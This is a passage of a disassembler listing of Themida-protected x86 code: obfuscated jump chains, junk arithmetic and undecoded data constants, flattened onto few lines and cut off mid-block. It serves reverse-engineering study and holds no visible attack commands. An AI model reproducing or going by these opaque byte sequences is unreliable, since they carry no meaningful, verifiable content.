loc_555E34: ; CODE XREF: Themida_:00552AA8j push ecx mov ecx, 59432F0h xor ecx, 5FE53693h add ecx, 364E0809h or ecx, 65CB712Ch shr ecx, 4 xor ecx, 2988BF3Ch sub ebp, ecx pop ecx jmp loc_5645F9 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 81240C8Bh, 4C4h, 242C8B00h, 0FFB5DBE9h, 0CD6855FFh dd 89000028h, 26E92414h, 55000065h, 91246268h, 0F5815D2Ah dd 57005070h, 0FFCC02E9h, 505E54FFh, 4B8h, 58C60100h, 8704C683h dd 0E95C2434h, 0E79Ch, 47E98E04h db 0EEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555EAF: ; CODE XREF: Themida_:0055014Fj add edi, ecx mov ecx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55A87D ; --------------------------------------------------------------------------- dd 0B19E325h, 2B220D53h, 0E0C12B71h, 97F8E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555EDA: ; CODE XREF: Themida_:00561572j pop dword ptr [esp] jmp loc_553294 ; --------------------------------------------------------------------------- loc_555EE2: ; CODE XREF: Themida_:0055BF8Cj add edi, ebp pop ebp push 4D96h jmp loc_55D49B ; --------------------------------------------------------------------------- aIRiISL db ',$Rl',0 align 4 aYss db 'Y^',0 align 2 dw 0EC83h dd 241C8904h, 0E952E389h, 0E0F5h ; --------------------------------------------------------------------------- loc_555F10: ; CODE XREF: Themida_:00553C1Cj add eax, 4 xchg eax, [esp] pop esp sub esp, 4 jmp loc_55F23B ; --------------------------------------------------------------------------- db 52h, 0E9h, 98h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555F27: ; CODE XREF: Themida_:00558C84j mov ecx, [esp] add esp, 4 sub esi, 63715537h add esi, eax push edi mov edi, 63715537h add esi, edi pop edi pop eax jmp loc_558F3E ; --------------------------------------------------------------------------- dd 9C240481h, 5D7DCC3Ch, 3C9CB850h, 0C5297DCCh, 240C8B58h dd 815A5452h, 4C2h, 0B8C4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555F66: ; CODE XREF: Themida_:0055C055j add esp, 2 mov cx, [esp] jmp loc_55A604 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 35BB241Ch, 52D0E193h, 81A7E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555F8A: ; CODE XREF: Themida_:0055F6F2j mov esp, [esp] or eax, eax jnz loc_55A906 sub esp, 4 mov [esp], ecx mov ecx, 1FD812B4h neg ecx sub ecx, 0FFFFFFFFh push 2216h mov [esp], esi jmp loc_557113 ; --------------------------------------------------------------------------- loc_555FB5: ; CODE XREF: Themida_:0055BB22j pop eax jmp loc_559BB8 ; --------------------------------------------------------------------------- db 31h dd 87D6F7F5h, 1CBF57F5h, 0E9A821CDh, 0FFFFD38Ch ; --------------------------------------------------------------------------- loc_555FCC: ; CODE XREF: Themida_:005636FDj add esp, 4 add edx, eax jmp loc_561293 ; --------------------------------------------------------------------------- dw 0D0F7h dd 73310335h, 96BE5677h, 4641C632h, 6973E681h, 0EE816025h dd 31DA7222h, 4F0AE9h db 0 ; --------------------------------------------------------------------------- loc_555FF5: ; CODE XREF: Themida_:00551576j shr eax, 6 dec eax xor eax, 50FB5583h or eax, 4A915CFDh push ebx push ebp mov ebp, 67C50E49h mov ebx, ebp pop ebp shr ebx, 7 add ebx, 249A479Eh xor ebx, 7F942C41h sub eax, ebx jmp loc_5636F9 ; --------------------------------------------------------------------------- db 0F7h aScp db 'cP',0 align 2 loc_55602A: ; CODE XREF: Themida_:0055F554j mov ebp, 40440D76h jmp loc_55F865 ; --------------------------------------------------------------------------- dd 4240483h, 0B69AE95Fh, 48BFFFFh, 4EC8124h, 89000000h dd 6568241Ch, 5400005Fh, 5324048Fh, 0ACFBF57h, 0B8507747h dd 67F96AA3h, 0F4FC7105h, 58C731DAh, 8E96E9h, 69BB5300h dd 89433224h, 6139E9D9h, 815D0000h, 510ADFC1h, 0AF53E915h dd 3489FFFFh, 34FF5424h, 0C4835E24h, 5B88E904h, 0CA2D0000h dd 893CA99Dh, 0EBC158C3h, 83EB8105h, 0E900305Bh, 0CB70h dd 348BF701h, 4C48324h, 8B243C87h, 57E92424h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5560BF: ; CODE XREF: Themida_:00556E9Bj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_555766 ; --------------------------------------------------------------------------- dw 54F6h dd 80580124h, 5DE9ACF4h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5560DB: ; CODE XREF: Themida_:0056232Fj mov edi, eax pop eax or edi, 14C41B12h jmp loc_563037 ; --------------------------------------------------------------------------- aS_6 db '[߶',0 db 0 ; --------------------------------------------------------------------------- loc_5560EF: ; CODE XREF: Themida_:00551BC7j mov ecx, 0B7EAD580h add edx, ecx mov ecx, [esp] add esp, 4 add edi, 7F7D14E4h sub edi, edx sub edi, 7F7D14E4h pop edx and eax, edi push dword ptr [esp] pop edi add esp, 4 or eax, eax jz loc_558E3D push dword ptr [edi+28h] sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push 210Ah mov [esp], edi mov edi, 4EAE696Dh push ecx mov ecx, edi mov ebp, ecx mov ecx, [esp] jmp loc_55583B ; --------------------------------------------------------------------------- db 29h dd 0C1815DE9h, 4D78000Fh, 5524348Bh, 9421E9h, 24248900h dd 4240483h, 8124048Fh, 42404h, 815A0000h, 4C2h, 328E6800h dd 2C890000h, 4BD24h, 0C2810000h, 0C34552Ch, 0FF97C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_556199: ; CODE XREF: Themida_:0056241Ej mov esi, [esp] add esp, 4 loc_55619F: ; CODE XREF: Themida_:0055C80Dj push 235h mov [esp], ebx mov eax, [esp] push 1A4Ch jmp loc_55004C ; --------------------------------------------------------------------------- dd 0CF88E188h, 2434FF59h, 0E924048Bh, 0FFFFE16Dh, 9619D0BEh dd 5EF2010Ah, 6E2C14Ah, 38CC68h, 242C8900h, 233FE9h db 0 ; --------------------------------------------------------------------------- loc_5561DD: ; CODE XREF: Themida_:0055BFEAj xchg eax, [esp] pop edx jmp loc_560D2C ; --------------------------------------------------------------------------- dw 91B8h dd 83168743h, 348904ECh, 1B32BE24h, 0F0290993h, 2A08255Eh dd 230D5792h, 0E927381Bh, 8D4Fh, 599468h, 0A9FEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556212: ; CODE XREF: Themida_:00560996j push esi mov esi, 11B8694Bh sub ecx, esi jmp loc_550A4D ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38300h, 5C241C87h, 0A890E9h, 4FEA8100h, 0E914153Fh dd 0FFFF96D8h ; --------------------------------------------------------------------------- loc_55623C: ; CODE XREF: Themida_:0055F673j add ecx, ebx jmp loc_55EF49 ; --------------------------------------------------------------------------- aBXSL db ' ',1Bh,'^鵋',0 align 2 dw 0E3C1h dd 0ABE94B03h, 83000010h, 0D6F604C4h, 0E9EEEE80h, 0AC58h ; --------------------------------------------------------------------------- loc_556264: ; CODE XREF: Themida_:00554D5Fj shr ecx, 7 and ecx, 3BE631F9h xchg edx, ecx jmp loc_55C878 ; --------------------------------------------------------------------------- loc_556274: ; CODE XREF: Themida_:0055DB98j neg edx jmp loc_55BFE4 ; --------------------------------------------------------------------------- db 33h dd 4312404h, 24043324h, 0D324248Bh, 0E99C2404h, 0FFFF9586h ; --------------------------------------------------------------------------- loc_556290: ; CODE XREF: Themida_:00559907j pop edi push edi mov edi, esp add edi, 4 push eax mov eax, 2996009Eh jmp loc_55CE09 ; --------------------------------------------------------------------------- loc_5562A5: ; CODE XREF: Themida_:00560D27j sub esi, 34EA0512h jmp loc_550EEB ; --------------------------------------------------------------------------- loc_5562B0: ; CODE XREF: Themida_:00557D55j add ebp, eax sub ebp, 40AD3004h pop eax jmp loc_556871 ; --------------------------------------------------------------------------- dw 0D101h dd 7E9C15Ah, 0EABB850h, 0E0C17F5Eh, 0BE564003h, 8FD65A2h dd 0CBE9F029h, 0F7FFFFE8h, 5289E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5562E2: ; CODE XREF: Themida_:005565F2j ; Themida_:0055BE85j ... push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ebx push ebx jmp loc_551F0D ; --------------------------------------------------------------------------- dw 5C01h dd 6C810424h, 44020424h, 9CE94D75h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_556303: ; CODE XREF: Themida_:00550D20j add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_563A24 ; --------------------------------------------------------------------------- dd 8003E7C0h, 0F780CCE7h, 1C43E91Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556336: ; CODE XREF: Themida_:0055A2CCj push esi push edx push ebp mov ebp, 77BB7E6Fh jmp loc_55692A ; --------------------------------------------------------------------------- loc_556343: ; CODE XREF: Themida_:0055C8ADj pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi mov esi, esp jmp loc_560C87 ; --------------------------------------------------------------------------- db 0ACh, 66h, 52h dd 697FE9h db 0 ; --------------------------------------------------------------------------- loc_556361: ; CODE XREF: Themida_:005643FBj add ah, dl jmp loc_55DE1F ; --------------------------------------------------------------------------- loc_556368: ; CODE XREF: Themida_:00561793j push ebx mov ebx, 0BDB19BDh xor ebx, 1EF2672Ch xor edx, ebx pop ebx jmp loc_563BF0 ; --------------------------------------------------------------------------- loc_55637C: ; CODE XREF: Themida_:0055B861j add eax, 4 add eax, 4 jmp loc_55395A ; --------------------------------------------------------------------------- db 1, 0CBh, 51h dd 0FFF0D6E9h, 240489FFh, 76BFE9h db 0 ; --------------------------------------------------------------------------- loc_556399: ; CODE XREF: Themida_:0055C2ECj xor [esp], esi xor esi, [esp] jmp loc_55B38A ; --------------------------------------------------------------------------- dd 4C483h, 0EC8359E8h, 241C8904h, 0C381E389h, 4, 4669BE56h dd 0E9465EA8h, 0FFFFBBB6h, 4EC81h, 2C890000h, 66ECBD24h dd 0F74D4B68h, 5905E9DDh, 33B80000h, 0E9562239h, 6D3Fh dd 68243489h, 0Ah, 8124348Bh, 4C4h, 379D6800h, 34890000h dd 3B716824h, 34890000h, 70756824h, 1C890000h, 1F0ABB24h dd 0DE89053Ah, 83241C8Bh, 73E904C4h, 0AC0000CDh, 968D830h dd 89000023h, 9EB1240Ch, 0FFC95BE9h, 64A3BAFFh, 0EA811EE3h dd 1, 9FEABF57h, 0FA01FEA5h, 0E9243C8Bh, 0FFFFEE9Eh, 0D6E9C301h dd 0FFFFFFABh, 0E9042474h, 0D5A9h, 0E958C129h, 0C0C5h dd 0C781E789h, 4, 56B6E9h db 0 ; --------------------------------------------------------------------------- loc_556471: ; CODE XREF: Themida_:00552991j pop ebx sub esp, 4 mov [esp], eax xor [esp], ecx jmp loc_558EB5 ; --------------------------------------------------------------------------- loc_556480: ; CODE XREF: Themida_:00560F2Cj xor ch, dl pop dx add dh, 21h add dh, ch sub dh, 21h jmp loc_5624C0 ; --------------------------------------------------------------------------- loc_556491: ; CODE XREF: Themida_:00550852j push esp pop edi push eax mov eax, 4 sub edi, 5DBA001Ah add edi, eax add edi, 5DBA001Ah pop eax push 0B28h mov [esp], esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] mov esp, [esp] or edx, eax shl edx, 1 xchg edx, [edi+24h] inc edx xor [edi+24h], edx xor edx, [edi+24h] push eax push 2D24h mov [esp], esi mov esi, 423F452Ah push 0CF9h jmp loc_564342 ; --------------------------------------------------------------------------- loc_5564E4: ; CODE XREF: Themida_:0055329Ej mov [esp], eax mov ah, 0Fh jmp loc_554815 ; --------------------------------------------------------------------------- dw 0BD55h dd 4B06547Ch, 295DEB29h, 7CC381EBh, 8B4B0654h, 0C483242Ch dd 241C8704h, 242C895Ch, 0FFBC19E9h, 57505DFFh, 769DE9h dd 5BD90100h, 0E904C183h, 0FFFF9346h, 89243C89h, 4C781E7h dd 0E9000000h, 0FFFFA97Dh ; --------------------------------------------------------------------------- loc_556534: ; CODE XREF: Themida_:0055ED92j add esp, 4 jmp loc_55DC56 ; --------------------------------------------------------------------------- loc_55653F: ; CODE XREF: Themida_:0055F6B6j mov ebx, 0FC90228h shl ebx, 4 xor ebx, 0C4C576E7h or eax, ebx jmp loc_55FFA7 ; --------------------------------------------------------------------------- dd 4C281h, 2D680000h, 8900007Eh, 4BB241Ch, 29000000h, 14335BDAh dd 24143124h, 5C241433h, 89243C89h, 8CA3E9E7h, 0F6810000h dd 53290B49h, 4E05EEC1h, 0B66CE94Eh, 0EEC1FFFFh, 81DEF702h dd 6B0801C6h, 2BF68161h, 291F4CC9h, 0D9015EF1h, 9D2DE9h db 0 ; --------------------------------------------------------------------------- loc_5565A9: ; CODE XREF: Themida_:0055A547j neg esi jmp loc_552DF1 ; --------------------------------------------------------------------------- dd 4453C4BBh, 0E645E974h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5565BA: ; CODE XREF: Themida_:005530AFj pop eax sub esi, 73FA5D9Ah sub esi, edx jmp loc_55E1E7 ; --------------------------------------------------------------------------- dd 4BDh, 0E9E82900h, 0FFFFA51Fh ; --------------------------------------------------------------------------- loc_5565D4: ; CODE XREF: Themida_:00557E80j pop eax xchg ebx, [esp] jmp loc_550B37 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 6 dd 0FFD0CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5565E5: ; CODE XREF: Themida_:00564D66j push ecx jmp loc_552EBE ; --------------------------------------------------------------------------- loc_5565EB: ; CODE XREF: Themida_:00564E23j add eax, edx pop edx xchg eax, [esp] pop esp jmp loc_5562E2 ; --------------------------------------------------------------------------- db 1 dd 0C875DE9h, 0C92AE924h, 1ABAFFFFh, 0E91E6B29h, 8B20h dd 240CFF51h, 6E1C159h, 0D6F7F187h, 0CE31F131h, 0C181F131h dd 5EDC2F04h, 5359CF89h, 7C4D8ABBh, 5BDF3167h, 38F068h dd 4EDEE900h, 5D500000h, 0AD5BE958h, 0EA010000h, 81242C8Bh dd 4C4h, 24148700h, 0EDBF575Ch, 566E2132h, 0FFEDC0E9h dd 68E189FFh, 406Dh, 67F6E9h db 0 ; --------------------------------------------------------------------------- loc_556669: ; CODE XREF: Themida_:005540FFj add esp, 4 not eax push ebp push ecx mov ecx, 51A97889h neg ecx xor ecx, 971C5D59h mov ebp, ecx pop ecx xor eax, ebp jmp loc_557727 ; --------------------------------------------------------------------------- db 0B9h dd 5152778Eh, 756FE181h, 0C1817D7Dh, 3C020570h, 725568h dd 24348900h, 6F68E4BEh, 5EF13147h, 7938C181h, 0CF31E5E4h dd 5FFE3159h, 79CCE81h, 0C6810EE2h, 0A101D025h, 4247401h dd 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h, 48F5C24h dd 4BB5324h, 1000000h, 8B04245Ch, 0AE9241Ch, 66000030h dd 6824048Bh, 5754h, 54240489h, 5124048Bh, 5553E189h, 0F7196B68h dd 0F5815D71h, 2A1077C9h, 2C8BEB89h, 4C48124h, 50000000h dd 0F41FF5B8h, 6E8C158h, 0E906E0C1h, 4A4h, 1468555Dh, 89000005h dd 4832424h, 0A6E90424h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55673F: ; CODE XREF: Themida_:005613E6j add esp, 4 and eax, edx jmp loc_5635BA ; --------------------------------------------------------------------------- loc_556749: ; CODE XREF: Themida_:00550D4Fj add edx, ecx mov ecx, [esp] jmp loc_55F25D ; --------------------------------------------------------------------------- db 68h dd 925h, 68240C89h, 7DE2h, 3A85E9h, 4B900h, 0CEE90000h dd 0FF00007Dh, 48B2434h, 8210E924h, 12D0000h, 35000000h dd 17895E99h, 1A7DC42Dh, 26526815h, 33E90000h, 8B0000A1h dd 0C4832414h, 0C607E904h, 0EA810000h, 27B210DCh, 81C2295Fh dd 0B43C90C2h, 95E95823h, 810000AFh, 8A73D9CFh, 0B5C78125h dd 8363AC6Dh, 1C8904ECh, 28B9BB24h, 0F3816321h, 4540483Ah dd 8107E3C1h, 4E30EBh, 0DBF74B67h, 0FF9CCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5567E1: ; CODE XREF: Themida_:005515AFj add ebp, 4 xor ebp, [esp] jmp loc_55C51F ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 53F1F766h, 0B1B68h, 0C9CFE900h dd 0C8BFFFFh, 0E3B4E924h, 0C5290000h, 2225E958h, 0C6830000h dd 24348704h, 61C3815Ch, 817F4129h, 0AE46A3C3h, 81F30152h dd 0AE46A3EBh, 17386852h, 0D1E90000h, 52000073h, 0D9E95250h dd 0BB000041h, 512C1A01h, 815BD989h, 1C1h, 59C18100h, 8317392Eh dd 0C981FFE9h, 17C5735Ah, 0F60BE949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556866: ; CODE XREF: Themida_:005581AAj xor edx, 22018FEh jmp loc_55B906 ; --------------------------------------------------------------------------- loc_556871: ; CODE XREF: Themida_:005562B9j push esi mov esi, 4 add ebp, esi pop esi jmp loc_552DE6 ; --------------------------------------------------------------------------- loc_55687F: ; CODE XREF: Themida_:00556C8Ej pop esi add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push edx mov edx, 0ABA2039h sub [esp+4], edx pop edx add [esp], eax sub esp, 4 mov [esp], edx push 16E2h mov [esp], edx jmp loc_561AF6 ; --------------------------------------------------------------------------- db 8Bh dd 8F662424h, 87662404h, 0D5F766EAh, 66EA8766h, 74FF6652h dd 8B660224h, 87E92414h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5568D3: ; CODE XREF: Themida_:00550B7Aj push esp mov edi, [esp] jmp loc_55C859 ; --------------------------------------------------------------------------- loc_5568DC: ; CODE XREF: Themida_:00560FB0j and edx, 35E53600h shl edx, 7 xor edx, 76E9580Ah jmp loc_55A2B7 ; --------------------------------------------------------------------------- dd 34FFDF01h, 26DDE924h, 21BB0000h, 814A0B62h, 597B8CE9h dd 0E9D92973h, 3D83h, 1E3DE3BEh, 0A4EA8108h, 121FD53h dd 0A4BB53F2h, 121FD53h, 34FF5BDAh, 0CA9DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55692A: ; CODE XREF: Themida_:0055633Ej mov edx, 6EF3298Bh xor edx, ebp jmp loc_55DCA9 ; --------------------------------------------------------------------------- dw 53ACh dd 815A5452h, 4C2h, 485AE900h, 0EA010000h, 3D35BF57h, 0FA01079Ch dd 2CC2815Fh, 8B3E1900h, 6857242Ch, 3FFDh, 0E9242489h dd 495Ch ; --------------------------------------------------------------------------- loc_556968: ; CODE XREF: Themida_:0056355Aj mov bh, 3 xor dl, bh pop bx push eax mov ah, 0B7h jmp loc_561DD9 ; --------------------------------------------------------------------------- loc_556976: ; CODE XREF: Themida_:00552D4Aj shr ecx, 6 push edx push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 sub ecx, eax jmp loc_563A2E ; --------------------------------------------------------------------------- loc_556990: ; CODE XREF: Themida_:005637B0j mov ebx, 1D9C5890h xor ebx, 69CF0544h push edi mov edi, 491A16C7h and edi, 37991543h and edi, 152407E8h not edi sub edi, 4652DC92h jmp loc_559232 ; --------------------------------------------------------------------------- loc_5569BA: ; CODE XREF: Themida_:0054F8D3j mov edx, esi pop esi jmp loc_56228E ; --------------------------------------------------------------------------- aWsrx db 'Wrx',0 align 4 dd 0E9240433h, 0FFFFA680h ; --------------------------------------------------------------------------- loc_5569D0: ; CODE XREF: Themida_:005628B5j mov edx, esp sub esp, 4 mov [esp], esi mov esi, 4 add edx, esi jmp loc_55A6AC ; --------------------------------------------------------------------------- dd 0FF243C89h, 5F042474h, 5C24048Fh, 0B9240C89h, 14272E7Ah dd 0FFE0A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5569FD: ; CODE XREF: Themida_:00560334j pop dword ptr [esp] mov esp, [esp] mov dx, [esp] jmp loc_5628B0 ; --------------------------------------------------------------------------- dd 24048F5Ah, 92DFE9h db 0 ; --------------------------------------------------------------------------- loc_556A15: ; CODE XREF: Themida_:00563A29j shl edx, 1 sub esp, 4 jmp loc_55DE08 ; --------------------------------------------------------------------------- loc_556A1F: ; CODE XREF: Themida_:00555786j sub eax, 0F038F6B2h jmp loc_55BB20 ; --------------------------------------------------------------------------- db 68h, 0C2h, 22h dd 2C890000h, 7E9BD24h, 0BA52235Eh, 6D344028h, 815AD529h dd 0E97DE3F5h, 0A1E58101h, 81236247h, 0BFFDE4C5h, 5DEA29DCh dd 0E9241433h, 0FFFFA768h, 60E9D5F6h, 8900005Fh, 0EE892434h dd 5D5EF289h, 317AEF81h, 0EF811A44h, 7151208Bh, 0D5E9D701h dd 33FFFF96h, 248B2404h, 240CFE24h, 8D88E99Ch, 83E9FFFFh dd 8FFFFF8Dh, 248B2404h, 8D78E924h, 72B6FFFFh, 9BF4E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556AA6: ; CODE XREF: Themida_:00553544j mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 394h mov [esp], esi push esp jmp loc_555D48 ; --------------------------------------------------------------------------- dd 8108E6C1h, 6D20D6EEh, 81D6F75Dh, 0C982D1F6h, 0FFF10182h dd 2AE92434h, 12h, 82B252C1h, 0FE8DEA80h, 6BEA80C2h, 0DCF0E9h dd 37CF8100h, 5204F850h, 237C6BAh, 0D2E28128h, 8124F501h dd 0BB6AB1EAh, 9E5CE944h, 2C29FFFFh, 24048124h, 765D143Ah dd 81242C8Bh, 4C4h, 88C58100h, 13B7E7Fh, 242C8BE9h, 4C481h dd 0C330000h, 240C3124h, 8B240C33h, 89562424h, 4C681E6h dd 50000000h, 98574EB8h, 8BE3561h, 2AE91E55h, 5FFFFFD2h dd 8904EC83h, 7CBB241Ch, 522FA247h, 675CBD55h, 0EA8930B8h dd 356BE9h, 0C3895300h, 0E95BDF89h, 8900h, 4C481h, 81680000h dd 8900000Fh, 0A8B9240Ch, 0E926E70Eh, 0FFFFBFEDh, 2C0835Ch dd 8B240487h, 4082424h, 5FE99C24h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556BB7: ; CODE XREF: Themida_:0055C43Cj add ch, 7Fh pop edx xor al, ch mov ecx, [esp] add esp, 4 xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_54F816 ; --------------------------------------------------------------------------- dd 35D8F740h, 0FCEC8EA1h, 8158C329h, 0E74F3EC1h, 81D90163h dd 0E74F3EE9h, 241C8B63h, 8A4EE9h, 1C77FF00h, 226268h dd 0CCCBE900h, 0FBDFFFFh, 814D7800h, 0AA4CB5C1h, 0DB8AE934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C0E: ; CODE XREF: Themida_:0055AD06j mov [esp], edi jmp loc_550EC8 ; --------------------------------------------------------------------------- a1S db '1,$[',0 align 2 loc_556C1E: ; CODE XREF: Themida_:0055A2E6j mov ecx, 73C679FCh inc ecx add ecx, 4BD13196h jmp loc_551E57 ; --------------------------------------------------------------------------- db 29h dd 5EF387DEh, 8105EBC1h, 304E1BCBh, 3CF7E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_556C42: ; CODE XREF: Themida_:00555CFFj mov ecx, edx jmp loc_55A1BC ; --------------------------------------------------------------------------- db 9Dh, 0C3h, 0E9h dd 0FFFF8BC6h, 48162ABBh, 0E9D8893Fh, 29B6h, 0EE81C601h dd 16527582h, 4C68158h, 56000000h, 42474FFh, 0AA57E9h dd 242C2900h, 0B850455Dh, 38C708FBh, 0FFDB54E9h db 0FFh ; --------------------------------------------------------------------------- loc_556C85: ; CODE XREF: Themida_:005637EEj add edx, 5A0B1F70h push dword ptr [esp] jmp loc_55687F ; --------------------------------------------------------------------------- loc_556C93: ; CODE XREF: Themida_:005632CAj mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_55BDB6 ; --------------------------------------------------------------------------- db 35h dd 0E1F28F55h, 705EE9h, 8052B600h, 0F3082AEEh, 0E789575Ah dd 4C781h, 0EF830000h, 243C8704h, 0A14DE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_556CDA: ; CODE XREF: Themida_:0055FD3Cj mov edi, 39AB6BABh jmp loc_552336 ; --------------------------------------------------------------------------- dd 8904EC83h, 0EC832434h, 0E0C2E904h, 815D0000h, 31F876EDh dd 5DEE31A1h, 495E9h, 0BB535900h, 50DB46DAh, 46D6EB81h dd 0D90150DBh, 0ADB2E9h, 92ED8000h, 90C7E95Bh, 0CF010000h dd 54C78159h, 2979CD68h, 54EF81DFh, 8179CD68h, 3D5FFEEFh dd 0C1E95B57h, 0C1FFFFA6h, 0D1F706E1h, 9E96F181h, 0CE290BE8h dd 0B4C3E959h, 8B66FFFFh, 168240Ch, 8900006Ch, 2C682404h dd 89000019h, 0F7E92424h, 5200000Ch, 0B61C04BAh, 5AD0016Ah dd 6868D801h, 89000071h, 0E9502414h, 5DA9h, 0FF8A91E9h db 0FFh ; --------------------------------------------------------------------------- loc_556D85: ; CODE XREF: Themida_:0055DF74j add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_559F3C ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 0FFE66DE9h db 0FFh ; --------------------------------------------------------------------------- loc_556DA1: ; CODE XREF: Themida_:00556EDBj xor edx, 71746CD5h push ebx mov ebx, 6CD577FEh xor ebx, 4CD34370h add edi, ebx pop ebx add edi, edx push ecx mov ecx, 2006348Eh sub edi, ecx pop ecx mov edx, [esp] add esp, 4 and eax, edi push dword ptr [esp] pop edi jmp loc_55D9FE ; --------------------------------------------------------------------------- db 0BEh, 2, 0 dd 7A680000h, 0E900002Fh, 0FFFFA56Ah, 8124048Bh, 4C4h dd 53516600h, 0D7F6AEB7h, 8006E780h, 82E9C0EFh, 0FF00003Fh dd 55592434h, 482BE9h, 8BDD8900h, 0C481241Ch, 4, 0C107E5C1h dd 0E5C106EDh, 38B95108h, 0F75C2A7Eh, 60E950D1h, 89000088h dd 7BE9240Ch, 830000B5h, 1C8704EBh, 1C895C24h, 81E38924h dd 4C3h, 68515500h, 0FFC67D1h, 0EDE18159h, 811A064Bh, 0F825A2E9h dd 0E5C1816Ch, 8962F3E1h, 5AE959CDh db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E67: ; CODE XREF: Themida_:005622C1j sub [esp+2], al pop ax sub [esp], ch add byte ptr [esp], 3 push edx mov dh, 0B3h add [esp+4], dh pop edx mov ch, [esp] jmp loc_553F51 ; --------------------------------------------------------------------------- dd 240C8B66h, 82B5E9h, 241C8900h, 0F7240487h, 0A5F2E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556E9A: ; CODE XREF: Themida_:00562570j pop ecx jmp loc_5560BF ; --------------------------------------------------------------------------- dd 0E940478Fh, 0FFFF896Eh ; --------------------------------------------------------------------------- loc_556EA8: ; CODE XREF: Themida_:0055A89Cj sub edi, edx mov edx, [esp] add esp, 4 push ebx mov ebx, 3A13019Ch xor ebx, 0ED1ADB83h sub edi, ebx push dword ptr [esp] pop ebx add esp, 4 mov ecx, edi jmp loc_56445C ; --------------------------------------------------------------------------- loc_556ECC: ; CODE XREF: Themida_:00552714j pop ebp push ebx jmp loc_555A56 ; --------------------------------------------------------------------------- loc_556ED3: ; CODE XREF: Themida_:0055DD16j pop ecx sub edx, 1 inc edx jmp loc_556DA1 ; --------------------------------------------------------------------------- dd 2414F756h, 0E924348Bh, 3494h, 0B9C8E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556EF2: ; CODE XREF: Themida_:0055EEB7j pop edi add ebx, edi add ebx, 1B362F3Eh jmp loc_563A9F ; --------------------------------------------------------------------------- aUs db 'U,',0 align 2 dw 8B66h dd 0A1682404h, 89000027h, 0FF542404h, 48B2434h, 0DC5DE924h db 2 dup(0FFh), 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_560D4E ; --------------------------------------------------------------------------- loc_556F39: ; CODE XREF: Themida_:0055038Fj add eax, ebp pop ebp add eax, 7A1E67BEh sub eax, 9951082h push ecx jmp loc_562402 ; --------------------------------------------------------------------------- dd 0E958E300h, 0FFFFBD4Ch, 3064122Dh, 34FF5A5Bh, 0C4815924h dd 4, 53B46855h, 0E95D07CEh, 608Eh ; --------------------------------------------------------------------------- loc_556F70: ; CODE XREF: Themida_:00561AB1j mov ebx, [esp] jmp loc_564357 ; --------------------------------------------------------------------------- loc_556F78: ; CODE XREF: Themida_:00552E52j sub esp, 4 mov [esp], ebp push 5568h mov [esp], edi push 7B5921E4h jmp loc_558AC7 ; --------------------------------------------------------------------------- db 29h dd 85E9240Ch, 870000C7h, 895C241Ch, 4812424h, 424h, 0C55DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556FAE: ; CODE XREF: Themida_:00559211j inc ecx dec ecx jmp loc_55FF33 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4C2h, 24148700h, 2404875Ch, 0E9C9095Ch, 78EAh dd 0EB28AAB5h, 0FFD83059h, 79E92434h, 5A000093h, 0EA31D531h dd 0EF31D531h, 0EF31FD31h, 79B068h, 243C8900h, 